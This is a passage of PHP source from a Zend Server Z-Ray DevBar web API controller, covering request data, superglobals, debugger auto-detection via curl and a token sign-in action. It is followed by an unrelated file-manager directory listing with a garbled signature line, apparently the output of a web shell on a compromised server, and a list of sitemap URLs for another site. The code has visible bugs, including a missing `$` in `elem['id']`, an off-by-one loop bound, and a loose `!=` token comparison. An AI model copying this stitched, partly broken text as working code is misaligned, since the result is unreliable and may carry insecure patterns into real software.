        $viewModel = new ViewModel($resultArray);
        $viewModel->setTemplate('dev-bar/web-api/dev-bar-get-requests-info');
        return $viewModel;
    }

    public function devBarGetRequestFunctionsAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array('requestId' => ''));

        $this->validateMandatoryParameters($params, array('requestId'));
        $id = $this->validateInteger($params['requestId'], 'requestId');

        $request = $this->getDevBarRequestsMapper()->getRequest($id);

        // check if the request ixists
        if (!$request->getId()) {
            $functions = array();
        } else {
            $functionsMapper = $this->getLocator()->get('DevBar\Db\FunctionsMapper');
            $functions       = $functionsMapper->getFunctions($request->getId());
        }

        return array('request' => $request, 'functions' => $functions);
    }

    public function devBarGetBacktraceAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(array('id' => ''));

        $this->validateMandatoryParameters($params, array('id'));
        $id = $this->validateInteger($params['id'], 'id');

        $backtraceMapper = $this->getLocator()->get('DevBar\Db\BacktraceMapper');
        $backtrace       = $backtraceMapper->getBacktrace($id);

        return array('backtrace' => $backtrace->current());
    }

    public function devBarGetCustomDataAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters();

        $this->validateMandatoryParameters($params, array('requestId'));
        $id = $this->validateInteger($params['requestId'], 'requestId');

        $extensionsMapper         = $this->getServiceLocator()->get('DevBar\Db\ExtensionsMapper');
        $dataTypes                = $extensionsMapper->findRequestDataTypesMap($id);
        $customData               = $extensionsMapper->findCustomDataForRequestId($id);
        $extensionsMetadataMapper = $this->getServiceLocator()->get('DevBar\Db\ExtensionsMetadataMapper');
        $metadata                 = $extensionsMetadataMapper->metadataForRequestId($id);

        foreach ($metadata as $extensionName => $extensionMetadata) {
            if (!isset($dataTypes[$extensionName])) {
                $dataTypes[$extensionName] = array();
            }
            if (isset($extensionMetadata['logo']) && !empty($extensionMetadata['logo']) && @file_exists($extensionMetadata['logo'])) {
                $metadata[$extensionName]['logo'] = base64_encode(file_get_contents($extensionMetadata['logo']));
            }
        }

        try {
            $maxTreeDepth = Module::config('zray', 'zend_gui', 'maxTreeDepth');
        } catch (\ZendServer\Exception $e) {
            $maxTreeDepth = 15;
        }

        return array('dataTypesMap' => $dataTypes, 'customData' => $customData, 'metadata' => $metadata, 'maxTreeDepth' => $maxTreeDepth);
    }

    public function devBarGetRequestEnvironmentAction()
    {
        $this->isMethodGet();

        $params    = $this->getParameters();
        $this->validateMandatoryParameters($params, array('requestId'));
        $requestId = $this->validateInteger($params['requestId'], 'requestId');

        $mapper  = $this->getDevBarRequestsMapper();
        $request = $mapper->getRequest($requestId);

        $mapper          = $this->getServiceLocator()->get('DevBar\Db\SuperglobalsMapper');
        $superglobalsMap = $mapper->getSuperglobals($requestId);

        $superglobals = array();
        if (count($superglobalsMap) > 0) {
            foreach ($superglobalsMap as $type => $typeGroup) { /* @var $typeGroup array[\DevBar\SuperGlobalContainer] */
                $typeLabel = str_replace('_', '', strtolower($type));
                foreach ($typeGroup as $superglobalRevision) { /* @var $superglobalRevision \DevBar\SuperGlobalContainer */
                    $superglobals[$typeLabel][] = $superglobalRevision->getData();
                }
            }
        }

        if (!isset($superglobals['session'])) {
            $superglobals['session'] = array(array(), array());
        } elseif (count($superglobals['session']) == 1) {
            $superglobals['session'][] = array();
        }

        try {
            $maxTreeDepth = Module::config('zray', 'zend_gui', 'maxTreeDepth');
        } catch (\ZendServer\Exception $e) {
            $maxTreeDepth = 15;
        }

        return array('requestId' => $requestId, 'superglobals' => $superglobals, 'request' => $request, 'maxTreeDepth' => $maxTreeDepth);
    }

    public function devBarGetDebuggerConfigurationsAction()
    {
        $this->isMethodGet();

        $studioMapper        = $this->getLocator()->get('StudioIntegration\Mapper'); /* @var $studioMapper \StudioIntegration\Mapper */
        $configurationMapper = $this->getLocator()->get('Configuration\MapperExtensions');


        $config   = $studioMapper->getConfiguration();
        $debugger = $configurationMapper->selectExtension('Zend Debugger');

        // get settings string
        $url          = 'http://'.$_SERVER['REMOTE_ADDR'].':'.$config->getAutoDetectionPort();
        $retryCounter = 0;
        do {
            $handle         = curl_init($url);
            curl_setopt($handle, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 1);
            curl_setopt($handle, CURLOPT_TIMEOUT, 2); //timeout in seconds
            $response       = curl_exec($handle);
            $httpCode       = curl_getinfo($handle, CURLINFO_HTTP_CODE);
            $settingsString = '';
            if ($httpCode == 200) {
                $settingsString = trim($response);
            }
            curl_close($handle);
            $retryCounter++;
            if ($httpCode != 200) {
                usleep(200000); // sleep for 200 ms
            }
        } while ($httpCode != 200 && $retryCounter < 5);

        $configurations = array(
            'autoDetect' => $config->getAutoDetect(),
            'useSsl' => $config->getSsl(),
            'autoDetectPort' => $config->getPort(),
            'autoDetectHost' => $config->getHost(),
            'debuggerEnabled' => $debugger->isLoaded(),
            'settingsString' => $settingsString,
        );

        return array('configurations' => $configurations);
    }
    
    /**
     * Z-Ray sign in operation. Used by Z-Ray standalone version
     * 
     * @return 
     */
    public function devBarSignInAction() 
    {
        $this->isMethodPost();
        
        if (!isZrayStandaloneEnv() && !isAzureEnv()) {
            throw new \WebAPI\Exception(
                'This web API is available only for Z-Ray standalone edition', 
                \WebAPI\Exception::AUTH_ERROR
            );
        }
        
        $params = $this->getParameters(array(
            'email' => '',
            'token' => '',
        ));
        
        $this->validateStringLength($params['email'], 5, 255, 'email');
        $this->validateEmailAddress($params['email'], 'email');
        $this->validateStringNonEmpty($params['token'], 'token');
        $this->validateStringLength($params['token'], 16, 16, 'token'); // the token is 16 chars exactly
        
        $email = $params['email'];
        $token = $params['token'];
        
        // check token validity
        if ($token != \DevBar\Db\TokenMapper::getZrayTokenByEmail($params['email'])) {
            throw new \WebAPI\Exception(
                'Invalid token', 
                \WebAPI\Exception::AUTH_ERROR
            );
        }
        
        // no audit - it's standalone
        
        // store the directive locally
        /* @var \Configuration\MapperDirectives */
        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives');
        $directivesMapper->setDirectives(array(
            'zend_gui.standaloneEmail' => $params['email'],
            'zend_gui.standaloneToken' => $params['token'],
        ));
        
        return new \WebAPI\View\WebApiResponseContainer(array(
            'result' => 'success'
        ));
    }
    

    private function detectDBTime()
    {

        $connector = new DirectivesFileConnector();
        $dbConn    = $connector->createDbAdapter(Connector::DB_CONTEXT_GUI); /* @var $dbConn Zend\Db\Adapter\Adapter */

        $time = time();
        Log::debug("PHP time - $time");
        if ($dbConn->getDriver()->getConnection()->getResource()->getAttribute(\PDO::ATTR_DRIVER_NAME) !== 'mysql') { // sqlite
            Log::debug("Detecting single server db time");
            $res = $dbConn->query('SELECT strftime(\'%s\', \'now\') as timeNow',
                \Zend\Db\Adapter\Adapter::QUERY_MODE_EXECUTE);
            if ($res) {
                foreach ($res as $row) {
                    $time = (string) $row['timeNow'];
                    break;
                }
            }
        } else {
            Log::debug("Detecting cluster db time");
            $res = $dbConn->query('SELECT UNIX_TIMESTAMP(NOW()) as timeNow',
                \Zend\Db\Adapter\Adapter::QUERY_MODE_EXECUTE);
            foreach ($res as $row) {
                $time = (string) $row['timeNow'];
                break;
            }
        }

        Log::debug("Detected db time - $time");
        return $time;
    }

    /**
     * @param string $iprange
     * @throws WebAPI\Exception
     */
    private function validateIpOrRange($iprange)
    {
        if (preg_match('#^(?P<ip>[0-9\\.]+)(/(?P<range>[0-9]{1,2}))?$#', $iprange, $matches) > 0) {
            if (long2ip(ip2long($matches['ip'])) != $matches['ip']) {
                throw new WebAPI\Exception(_t('Invalid Ip address passed %s', array($matches['ip'])),
                WebAPI\Exception::INVALID_PARAMETER);
            }

            if (isset($matches['range'])) {
                $range = intval($matches['range']);
                if ($range < 8 || $range > 32) {
                    throw new WebAPI\Exception(_t('Invalid Ip mask passed %s', array($matches['range'])),
                    WebAPI\Exception::INVALID_PARAMETER);
                }
            }
        } else {
            // check IPv6 address (like ::1)
            if (@inet_pton($iprange) === false) {

                // check if this is a range "<ipv6>/<number>"
                $ipParts = explode('/', $iprange);
                if (count($ipParts) != 2 || @inet_pton($ipParts[0]) === false || !is_numeric($ipParts[1])) {
                    throw new WebAPI\Exception(_t('Invalid Ip address passed %s', array($iprange)),
                    WebAPI\Exception::INVALID_PARAMETER);
                }
            }
        }

        return $iprange;
    }

    /**
     *
     * @param string $filterName
     * @return \JobQueue\Filter\Filter
     */
    private function getFilterObj($filterName)
    {
        if (!$filterName) return array();

        $filterList = $this->getFilterMapper()->getByTypeAndName('zrays', $filterName); /* @var $filterList \ZendServer\Filter\FilterList */
        if (!count($filterList)) {
            throw new WebAPI\Exception(_t("Cannot find Zray filter '%s' in '%s' table",
                array($filterName, $this->getFilterMapper()->getTableName())), WebAPI\Exception::INVALID_PARAMETER);
        }

        return $filterList->current()->getData();
    }

    private function getMonitorEventsAggKeys($requestId)
    {
        $monitorEventsMapper = $this->getLocator()->get('DevBar\Db\MonitorEventsMapper');
        $monitorEvents       = $monitorEventsMapper->getMonitorEvents($requestId);
        return (is_null($monitorEvents)) ? array() : $monitorEvents->toArray();
    }

    private function enhanceIssuesSet($issues)
    {
        $newIssues = array();
        $issueIds  = array();
        foreach ($issues as $issue) { /* @var $issue \Issue\Container */
            $issueIds[] = $issue->getId();
        }

        $eventsMapper             = $this->getLocator()->get('EventsGroup\Db\Mapper'); /* @var $eventsMapper \EventsGroup\Db\Mapper */
        $orderedLastEventsResults = array();
        $lastEventsResults        = $eventsMapper->getIssuesLastEventGroupData($issueIds);

        foreach ($lastEventsResults as $lastEventsResult) { /* @var $lastEventsResult \EventsGroup\Container */
            $orderedLastEventsResults[$lastEventsResult->getIssueId()] = $lastEventsResult->toArray();
        }

        $lastEvents = new Set($orderedLastEventsResults, '\EventsGroup\Container');

        foreach ($issues as $issue) { /* @var $issue \Issue\Container */
            $maxEventGroup = $lastEvents[$issue->getId()]; /* @var $maxEventGroup \EventsGroup\Container */
            $issue->setMaxEventGroup($maxEventGroup);
            if ($maxEventGroup->hasCodetracing()) {
                $issue->setCodeTracingEventGroupId($maxEventGroup->getEventsGroupId());
            } else {
                $issue->setCodeTracingEventGroupId('');
            }

            /*
              $wrapper = new \MonitorUi\Wrapper();
              $moreIssueDetails = $wrapper->getIssueData($issue->getId());
              if (isset($moreIssueDetails[ZM_DATA_ISSUE_AGG_KEY_ATTRIBUTES])) {
              $issue->setErrorString($moreIssueDetails[ZM_DATA_ISSUE_AGG_KEY_ATTRIBUTES][ZM_DATA_ATTR_ERROR_STRING]);
              }
             */

            $newIssues[] = $issue;
        }

        $issues = new Set($newIssues, null);

        return $issues;
    }

    private function getRequests($pageId, $lastId, $startTime = 0)
    {
        $retryLimit = \Application\Module::config('zray', 'zrayRetryLimit');

        $mapper = $this->getDevBarRequestsMapper();

        $requestsResult = $mapper->getRequests($pageId, $lastId, 0, array(), $startTime);

        $i = 0;
        while (empty($lastId) && 0 == $requestsResult->count() && ($i * 100) < $retryLimit) {
            $i ++;
            usleep(100000); // sleep for 100 ms
            $requestsResult = $mapper->getRequests($pageId, $lastId, 0, array(), $startTime);
        }

        return $requestsResult;
    }

    private function hasCustomData($requestsResult)
    {
        if ($requestsResult->count() > 0) {
            $extensionsMapper = $this->getServiceLocator()->get('DevBar\Db\ExtensionsMapper');
            $customData       = $extensionsMapper->findCustomDataForRequestId($requestsResult->current()->getId(), 1);
            if ($customData->count() > 0) {
                return true;
            }
        }

        return false;
    }

    private function removeDevBarRequestsAndDataByIds($ids)
    {

        if (!is_array($ids) || empty($ids)) return;

        // use the API function to remove zray entries, otherwise GUI will remove directly from DB
        if (function_exists('zray_remove_entries')) {

            $index = 0;
            while ($index < count($ids)) {
                $idsIntVals = array();
                // fixed #ZSRV-17068 demans the intvals instead of strings
                for (; $index <= count($ids); $index++) {
                    // limit to remove only max 100 entries: bug #ZSRV-17220
                    if (count($idsIntVals) == 99) {
                        break;
                    }
                    $idsIntVals[] = intval($ids[$index]);
                }
                zray_remove_entries($idsIntVals);
            }
        } else {
            $this->getDevBarRuntimeMapper()->removeDevBarRequests($ids);
            $this->getDevBarFunctionsMapper()->removeDevBarRequests($ids);
            $this->getDevBarMonitorEventsMapper()->removeDevBarRequests($ids);
            $this->getDevBarSuperglobalsMapper()->removeDevBarRequests($ids);
            $this->getDevBarExceptionsMapper()->removeDevBarRequests($ids);
            $this->getDevBarUserDataMapper()->removeDevBarRequests($ids);
            $this->getDevBarExtensionsMetadataMapper()->removeDevBarRequests($ids);


            $sqlQueriesExtraData = $this->getDevBarSqlQueriesMapper()->getRequestSqlQueriesExtraData($ids);
            $logEntriesExtraData = $this->getDevBarLogEntriesMapper()->getRequestLogEntriesExtraData($ids);

            $this->getDevBarLogEntriesMapper()->removeDevBarRequests($ids);
            $this->getDevBarBacktraceMapper()->removeDevBarRequests($sqlQueriesExtraData, $logEntriesExtraData);

            $this->getDevBarRequestsMapper()->removeRequests($ids);

            $this->getDevBarSqlStatementsMapper()->removeDevBarRequests($sqlQueriesExtraData);
        }
    }

    /**
     * For every request, add its severity (normal, warning or critical)
     * @param <unknown> $requests 
     * @return null
     */
    protected function _updateRequestsSeverity(&$requests)
    {
        // collect request IDs
        $requestIds = array_map(function($elem) {
            return elem['id'];
        }, $requests);

        // get events number per request
    //
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
IndexController.php File 37.67 KB 0644
WebAPIController.php File 53.1 KB 0644
ZRayIdController.php File 959 B 0644
ZrayHistoryController.php File 6.6 KB 0644
ZrayLiveController.php File 209 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml